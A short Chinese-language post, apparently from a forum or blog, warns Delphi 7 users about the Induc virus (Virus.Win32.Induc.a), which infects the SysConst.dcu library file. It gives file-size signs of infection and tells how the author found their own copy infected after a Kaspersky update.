专门针对delphi的，嵌入源码的病毒
如果在 X:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB)，那么恭喜你，中招了。

好有趣的感染方式,够可爱了~
今天群的人发了一条链接,关于许多人SysConst.dcu被感染.
被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.
偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~
只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.
